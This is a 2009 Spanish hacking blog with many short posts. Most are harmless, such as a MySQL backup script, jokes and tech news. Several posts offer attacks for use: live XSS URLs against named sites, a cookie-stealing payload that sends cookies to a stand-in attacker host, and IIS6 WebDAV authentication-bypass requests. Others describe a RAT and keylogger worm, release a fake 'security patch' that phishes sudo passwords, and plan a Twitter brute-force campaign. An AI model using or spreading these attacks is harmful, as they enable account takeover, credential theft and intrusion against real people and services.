Jugando con Fósforos

Sistema de backup Cronos por Mail(Ragnarok y demas Mmorpgs)

2009-12-07T12:47:00.002+01:00

Como prometi ya hace tiempo, aqui teneis un script bash para hacer backups de modo facil.

[FAQ] Backups de tu base de datos comprimidos por mail
Autor: Jubjub

Código: [Seleccionar]

mysqldump --user=root --password=AQUITIENESQUEPONERTUPASSWORD $1 >  ${1}.sql
FECHA=`date +%d-%m`
zip ${FECHA}_${1}_dump.zip ${1}.sql
rm -f *.sql
mutt -s "Backup Servidor ${FECHA}" -a *.zip $2 < mes.txt
rm -f *.zip

1.-Instalacion
Cread un archivo en vuestro dedicado linux, introducid el texto anterior en el, sustituyen la password de root mysql donde indica, dadle permisos con el comando

Citar

chmod 700 nombrearchivo

Una vez hecho esto, cread un archivo llamado mes.txt, y introducid en el el texto que acompañara al backup en vuestro mail.
y estara listo para su uso :D

2.-Forma de uso
Para utilizarlo, teneis que utilizar el comando, estando en la carpeta donde guardasteis el script:

Código: [Seleccionar]

./nombrescript nombrebasededatos email

Y recibireis en vuestro mail el archivo sql de la base de datos comprimido en zip. Podeis automatizarlo para tener backups seghuros que no perdereis en caso de fallo en el dedicado!

Bippie Argentina: XSS Pwned

2009-10-13T20:33:00.009+02:00

Ante todo gracias a Skeletron, de ElHacker.net, por avisarme de este garrafal fallo

Vamos a revisar uno de los fallos que presenta esta conocida web (si fallan a este nivel, no hay duda de que también tendrán SQLi, dejo la tarea a investigar al que le interese )

http://ar.bippie.com/modules/catalog/prodinfo.php?categoria=%3C/title%3E%3Cscript%3Ealert%20%28%22Jugando%20con%20Fosforos%22%29;%3C/script%3E&sub_categoria=rock+nacional&nombre=solotelscompatibles&sbrand=5&smodel=8%2F826#4130952372793495685

Simplisimo!, solo tenemos que escaparnos de la etiqueta <>, y a inyectar html se ha dicho

Por esto, es por lo que debeis de recordar siempre, que al mostrar texto que es proporcionado por el cliente, hay que colocar un htmlspecialchars().

Un saludo, y hasta la próxima!

PD: He tenido que colocar la url codificada poraque me causaba a mi mismo un XSS

XSS + Robo de Cookies en Vimeo

2009-06-21T12:07:00.010+02:00

Mientras comprobaba esa leyenda urbana de que Vimeo es mejor que Youtube, encontré un XSS, que aunque tiene una cierta dificultad de explotar, puede ser interesante de investigar.

El fallo en cuestión se encuentra en la opción de añadir créditos, que tenemos disponible en cualquier vídeo. No filtra en absoluto html, que podemos introducir sin mas problema.

La parte interesante es que esto es una llamada AJAX, que por falta de tiempo no he podido seguir investigando, aunque probablemente lo haré en algún post, mas adelante.

Haz click para ver la imagen a tamaño completo

Aquí podemos ver un XSS inofensivo, aunque podría utilizarse para robar las cookies, consiguiendo así privilegios completos, un ejemplo seria este código:

<>document.location="http://webatacante.net/galleta.php?galleta="+document.cookie;< /script >

El código del PHP simplemente guardaría a un archivo de texto plano el contenido de la variable galleta, con lo cual solo nos quedaría robar esas cookies, teniendo acceso completo a la cuenta afectada.
Aun así, al no haber un método directo (o no descubierto) de hacer esto, como puede ser en los XSS por link, habría que hacer un poco de uso de ingeniería social, quizás en un vídeo dejar el código, prometiendo un premio si se introducen como créditos en el mismo vídeo, añadiendo al final el "código del vídeo", que no seria mas que nuestro XSS.

TwitPwn: Desarrolladores sin vacaciones

2009-06-17T08:21:00.005+02:00

Parece que la fiebre del Twitter les va a dar a algunos dolores de cabeza: Aviv Raff, que ya participo en "El mes de las vulnerabilidades en los navegadores", evento que se llevo a cabo con éxito, ha anunciado en TwitPwn que juli sera el "Mes de las vulnerabilidades Twitter"

Planea lanzar una al dia, la mayoia relacionadas con la API de Twitter, y aplicaciones de terceros. Al menos avisará a los desarrolladores con 24 horas de antelacion, ya que segun el, "las vunerabilidades podrian ser utilizadas para crear un worm-Twitter"

Asi que me temo que los desarolladores afectados van a pasar un mes movidito

Me entere de esto via SbD

¿Puede el efecto Meneame causar un dDOs?

2009-05-25T21:57:00.003+02:00

Quizas alguien se pregunte que es el efecto meneame, o incluso que es meneame.

Meneame es una pagina de noticias, puedes votar las que mas te gusten, quitar puntos a las que te parezcan irrelevantes, etc. Todo muy 2.0.

Mucho se ha hablado sobre el efecto meneame: oleadas de personas que llegan a tu pagina cuando un texto de tu web llega a la portada de meneame.

En una prueba realizada por mi consegui mas de 200 visitas en apenas 3 minutos () con tan solo 3 meneos (lo normal son del millar hacia arriba para llegar a portada, vamos, que no pude experimentar ni una milesima parte del efecto meneame).

Mucho se ha hablado de que hay que tener tu web en un servidor potente si quieres soportar los picos de un efecto meneame... tu web se ralentiza, empieza a fallar si tu host no es potente.. un caos.

Pero.. es esto mito o realidad? Hay gente que realmente piensa que puede causar el efecto de un dDOs sobre tu web.. ¡y aqui estamos para comprobarlo!

Este próximo sabado, dia 30 de mayo, levantare un servidor en un servidor casero, enviare una noticia a meneame e intentaremos entre todos que llegue a portada, para comprobar si se sufre un retardo en la web, o incluso si cae.
Asi que cuanta mas difusion le deis a este post, mejor sera, y mas lo agradecere yo

Ya ansioso por que llegue la hora de la prueba me despido.

El chiste mas friki de la historia

2009-05-24T21:21:00.004+02:00

- ¿Por qué los programadores americanos confunden el dia de Navidad con Halloween?
- Porque DEC 25 = OCT 31

¿Lo entendiste a la primera? Si? Mala cosa

Una pequeña perla: IntelliSense

2009-05-20T23:42:00.004+02:00

Revisando los proyectos que se estan presentando en elhacker.net para el evento "Abril Negro", encontre esta pequeña joya en C# que me hizo recordar un proyecto que siempre quise hacer..

pero que nunca encontre un momento adecuado.

Cito textualmente de su autor, 43H4FH44H45H4CH49H56H45H (Link original)

IntelliSense es una técnica que se me ocurrió para sacar información y obtener control remoto de una PC o Red enviando ordenes vía web desde cualquier equipo público o privado y cualquier Sistema Operativo con un navegador o cliente FTP.
IntelliSense puede ser aplicado al lenguaje de programación que más nos guste.

Como funciona?
Al iniciar el programa verificara si se encuentra en una cuenta de Administrador u otro tipo, dependiendo de la cuenta elegirá donde se copiara y si modificara el registro para el auto inicio, deshabilitado del Safe Mode y otras cosas.

Una vez realizada la autocopia listara los archivos que se encuentren en Mis Documentos y el Escritorio para enviarlos vía mail (escogí Gmail para la demostración) a nuestra cuenta además de algunos datos de la víctima.

Luego empezara a leer las ordenes web que se encuentren en un archivo "1.txt" que tengamos alojado en alguna pagina web con el siguiente formato:

"PC:ORDEN"

Donde "PC" puede corresponder a la IP pública, IP privada, Nombre de Usuario o Nombre de Usuario de Dominio para poder enviar la orden a una máquina especifica y si necesitáramos enviarla a todos los PC's se puede usar ALL.

"ORDEN" se refiere a la orden que enviamos a la PC el diseño actual cuenta con
4 ordenes:
CAPTURA: que envía vía mail una captura de pantalla.

KILL: que reemplaza los archivos principales de arranque para evitar el inicio de Windows y reinicia el equipo.

KEYLOG: que envía los datos sustraídos (si los hubiera) de cuentas de correo (páginas en español) como GMAIL, Windows Live Messenger, Hotmail ,Yahoo u otras que especifiquemos.

default: que envía por FTP uno, varios o todos los archivos que queramos utilizando Winrar para comprimirlos, si por ejemplo pusiéramos en la orden:

"*.*" enviara todos los archivos listados
"*.JPG" enviara solo los archivos con dicha extensión.
"documentos.doc" enviara dicho archivo.

Tb cuenta con métodos de protección matando el proceso del Task Manager y si se ingresa a la carpeta donde se encuentre activara la protección igual que con "KILL".

El keylogger solo se activa cuando se ingresa a las páginas que especifiquemos y cada media hora si hay datos que enviar lo hará vía mail.

En la propagación por Messenger lista todos los contactos que se encuentren en la cuenta actual e ira enviando un link de descarga y una copia de si mismo comprimida a cada contacto, si el contacto esta "conectado" recibirá el link de descarga mas la copia comprimida, en otra caso recibirá solo el link de descarga.

En la replicación por USB listara las carpetas de la unidad USB y las ocultara para luego crear copias de sí mismo con los nombres de dichas carpetas (ya se ha visto en replicación USB).

Aqui esta el link del proyecto, para que lo reviseis tranquilamente.

Microsoft y su Servidor Web: ZAS

2009-05-18T21:31:00.004+02:00

Nada mas enterarme fui a probarlo: vulnerabilidad de las que hasta un niño pequeño sabe usar en el IIS 6 (solo si incluye el modulo WebDAV) de Microsoft (por si alguien no lo conoce, el "Apache" del tito Bill.

Afecta a los directorios protegidos, en vez de darnos un bello error 401 Unauthorized, nos escupiran el archivo "supuestamente" protegido.

Veamos como se hace esto, siguiendo el articulo que publicaba kcope hace apenas unos dias en este documento:

Todo esto se basa en como maneja el IIS el caracter unicode "%c0%af".

Al hacer una peticion normal, del tipo:

GET /protected/protected.zip HTTP/1.1
Connection: close
Host: servername

Recibiriamos un error 401 Unauthorized. Normal, es una peticion comun. Probemos otra cosa.

Hacemos una peticion con el caracter unicode del que hablabamos antes:

GET /prot%c0%afected/protected.zip HTTP/1.1
Connection: close
Host: servername

401 Unauthorized. Bien, parece que un servidor IIS 6 en condiciones normales maneja bien el caracter maldito. Y que tal WebDAV? Probemos:

GET /prot%c0%afected/protected.zip HTTP/1.1
Translate: f <--Con esto indicamos que la peticion sea manejada con WebDAV
Connection: close
Host: servername

Zas! Ahi tenemos nuestro bonito archivo protected.zip, con todas las claves del gobierno (teoricamente ).

Nos lo devuelve limpiamente.

Quinceañeros en la moncloa? Wtf?!

2009-05-16T14:33:00.009+02:00

Parece ser que con la clara "recesion economica" de esta temporada, en la moncloa se estan viendo obligados a contratar personal mas joven para redactar sus documentos, como pude comprobar esta mañana....

No hay mas que ver la foto para entenderlo:

Clica para aumentar el tamaño. Viva la hortográfhia.
Podeis comprobarlo tambien en este link.

¿No os recuerda a aquella vieja ""gloria"" llamada Fotolog?
¿Aquellos quinceañeros que parece que la tecla Bloq May se les pegaba y despegaba del teclado a ratos?

Desde luego es una muestra mas del poder del tito Google y de la pobreza del gobierno Español..

PD: Vale, reconozco que si abrimos los enlaces los PDFs estan bien. Conclusion: Google es maligno

China y EE.UU: Sin piedad

2009-05-15T20:43:00.004+02:00

Esta mañana leia en Neoteo un articulo sobre la ciberguerra que se traen China y EE.UU: entre intento de hackeo y intento de DOS, parece que a los chinos les queda tiempo para hacer un S.O. completamente nuevo y invulnerable.

Por el momento, parece que se llama "Kylin", como el Quilin, un bicho mitologico que protege a los puros de corazon ()

Su supuesta invulnerabilidad se basa en la premisa de que"todos los ataques que hay hoy en dia son para UNIK, Linux o Windows"

Mal van por ese camino, si es un S.O dedicado a pegarse con EE.UU. no tardara mucho en aparecer algun bug... y entonces.. ZAS!!

Aun me quede con la duda de si esta hecho de cero, o se basan en BSD, Linux, Win (?)..

OpenOffice: democracia al fixear bugs

2009-05-13T21:58:00.003+02:00

No todos estan de acuerdo con la democracia, pero desde luego en OpenOffice la pracican al máximo: los bugs se arreglan o no dependiendo de si son votados

(curioso, añadieron soporte anti-aliasing, por si te pone añadir imagenes a tus documentos, pero aun no arreglan el horrible bug () que no permite escribir parrafos de 65.534 caracteres. Terrible.)

Desde luego, esto si que es una forma de implicar a la gente en el proyecto

El sabio pobre

2009-05-12T23:37:00.004+02:00

" Cuentan de un sabio, que un día

tan pobre y mísero estaba,
que sólo se sustentaba
de unas yerbas que cogía
«¿Habrá otro», entre sí decía,
«más pobre y triste que yo?»
Y cuando el rostro volvió,
halló la respuesta, viendo
que iba otro sabio cogiendo
las hojas que él arrojó. "

Escribiendo este blog a veces me sentia como el primero.. siempre tomando material de los grandes.. cual fue mi sorpresa al ver que un blog por ahi se dedica a robar material mio.. siempr ehay alguien que esta peor que tu...

Cronos: Arte y Backups SQL

2009-05-05T22:48:00.006+02:00

Os presento mi último trabajo: un script de backups mysql, llamado Cronos, que solo debereis de añadir a las crontabs para que cuide de vuestras dbs.

Elimina los backups que tengan mas de 30 dias de antigüedad, aparte de comprimirlo todo en .tgz.

Además, como lo uso en un servidor compartido, cuida los permisos del directorio para que nadie pueda leer vuestros backups.

Para configurarlo, solo teneis que colocar vuestro usuario y password mysql en el script, las dbs que deseeis, los directorios que os pongan, y a disfrutar :D

En poco os dejare la version que envia los archivos por mail y ftp. Si modificais esta version, me gustaria verla :)

[Descarga]

Kon-Boot: Insultantemente facil

2009-05-03T00:29:00.006+02:00

Hay cosas que me molestan, y entre ellas estan Kon-Boot.
Aun recuerdo aquellos momentos en los que montaba mi Live-CD,

y por linea de comandos (ya sabeis, los hombres de verdad no usan ratón ) editaba los sam para entrar en cualquier Windows protegido con pass, hacer lo que quisiera, y reparar los sam

para no dejar huellas.

Que divertido eran esos momentos de juankeo lammer... parece que llega el fin de esos dias, con el Kon-Boot.

Simplemente, lo grabas en un CD, arrancas con el y parchea el kernel en memoria para saltarse la autentificación. Insultante. Me niego a dejar link.

Yo, Twitter y el ataque 1 Entrega #2

2009-05-01T20:15:00.003+02:00

Despues del programa de ayer, tengo una lista con 1000 usuarios de Twitter (el maximo que me dejo google antes de banearme)

Con esta lista comienza la parte interesante... Fuerza Bruta Espartana (como dicen por SbD, un saludo desde aqui)

Comenzare a preparar la lista de contraseñas mas utilizadas segun algunos estudios publicos y propios, volvere en poco con el programa (si sale bien, quizas veamos algo espectacular :D )

Yo, Twitter y Google Dorks Entrega #1

2009-05-01T01:12:00.004+02:00

Twitter. Parece que esta de moda por la de fallos que le sacan ultimamente (lease el gusanito de Twitter)

Me apunto a la moda: voy a pegarme con Twitter.. Veremos si consigo que el blog salga en un par de Tweets.

Empezamos con ayudarnos de Google para sacar unos cientos de miles de cuentas de Twitter (a lo mejor menos ) (con esta facil busqueda)

Codigo en Python del programa

Asi que despues de dejarlo toda la noche trabajando con unos ajustes para que guarde todo en un txt, espero encontrarme una gigantesca lista de cuentas con las que hacer fuerza bruta espartana (como dicen en SbD )

Desvirgando a Linux: Rooteo por Ing. Social

2009-04-28T22:29:00.002+02:00

Viendo el poco malware que hay para Linux.. aqui viene un simple malware para distros de GNU/Linux que usan el comando "sudo", como el archiconocido Ubuntu y su familia

Esta programado en Phyton, y simula ser un scrip de instalacion, o de ejecucion de algun programa, el cual debes de correr con un comando sudo especial, como veremos mas adelante.

Su Do Scam

version 1.2

Nuestra desprevenida victima, inocentemente, intentara, en un servidor corriendo Ubuntu Server, ejecutar el "Parche de Seguridad para MySQL" que encontro en nuestra web.

Hara un

Código:

./install

y vera esto :

Sorprendido pensara en lo increiblemente bueno y seguro que es su Ubuntu, y en la de formas distintas que hay de hacer la misma cosa...

Asi que seguira las instrucciones de el parche:

Perfecto, el sudo de toda la vida. No se ve la pass al escribirla, todo parece normal. Aprieta intro...

Oh, vaya, el lado malo de Linux. Parece que me falta una lib... despues de duros intentos, desiste y se va al bar a tomar unas cervezas.

Ahi es cuando entramos nosotros, visitamos nuestro servidor.. y ¡oh, sorpresa! ¿que hay alli?

¿Que sera?

Con estos datos entrar por ssh y rootear es un juego de niños

Vale, un experto quizas no caera en esto.. pero he probado con dos empresas de hosting, y han caido como conejos

Modo de uso
-Abrir la carpeta www y subir los archivos de ahi a un servidor web que permita php (dadle permisos 777 )
-Abrir la carpeta bin, el archivo install y editar en la configuracion la url de nuestro archivo php recien subido
-Preparad algo para que el script resulte creible

[DESCARGA]
Bueno, no es una obra de ingenieria, pero si de arte

Malas noticias para los tuenti-yonquis

2009-04-26T22:54:00.004+02:00

Solo quedan dos opciones, esperar a que lo reparen o ir buscando metadona.

El fallo viene de la funcion de tuenti para reconocer automaticamente imagenes, parece que solo busca por el http: y el .jpg... asi que podemos colarles todas las variables php que gustemos en la url.. algo asi:

http://www.jubjub.es/jubjub.php?variable=buenas&ima=jubjub.jpg

Seamos cabrones.. Dejare volar a vuestra imaginacion. Poned un comentario en el perfil de alguien, y vereis

http://m.tuenti.com/?m=login&func=log_out&img=jugandoconfosforos.jpg

O los amigos de Tuenti se dan prisa, o las clinicas de desintoxicacion se van a llenar

Gracias a Dimitrix por avisar

Mi obra maestra (por el momento)

2009-04-25T21:52:00.002+02:00

Siguendo la iniciativa de codigo libre personal que llevo manteniendo estos años, os presento una version Open Source del Ghost SMF de WHK. Es poco ineficaz, ya que uso la urllib por pura vagueria, pero si veo que os gusta, lo paso a sockets.

Esta programado en Phyton, y segun mis calculos es mucho mas rapida que la Ghost SMF

Snake Ghost SMF

version 0.4

Su uso no tiene perdida, solo necesitais escribir la url del foro que querais (deberia de ir con cualquier tipo de foro, pero solo lo he probado en SMF)

Vereis esto:

Y tras unos segundos...

Debido a que es la primera aplicacion que hago en Phyton, y la primera en la que el rendimiento es critico, hay un pequeño fallo:

Si veo que os animais, saco la version optimizada

PD: No me he basado en el de WHK para hacerlo

Explicacion de funcionamiento:
Es simple, hacemos peticiones masicas a la url que introducimos, añadiendo una cabecera modificada, el X-Forwarded-For.

Esta cabecera hace pensar a SMF que somos un proxy a traves del cual estan entrando centenares de users para ver el foro, cada uno con distinta IP, con lo que les suma a las estadisticas

Para descargar, haz click en el amigo

Los que useis Windows, necesitareis bajaros Python de la web oficial
Para los Linuxeros, ./

La BlackHat se viene a casa

2009-04-15T21:44:00.008+02:00

Depresion. Esto fue lo que sintieron todos los participantes al saber que no podrian disfrutar de los magnificos bares de Holanda.

Asi que a casa.. mas concretamente a Barcelona.. No esta mal, los ~~robalectores~~ amgidos de SBD van a cubrir la entrevista, como ellos son ~~ricos gracias a el Conficker~~ trabajadores que ganan su sueldo honradamente, se lo pueden permitir, mientras yo ~~intento crackearles~~ leo su Twitter.

Suenan rumores de un gran bug que puede deestabilizar el mundo.. todos sabemos que estan hablando de una vulnerabilidad en Powerpaint, no deberian ocultarlo.

Sin otra mas, se despide hasta la proxima Jubjub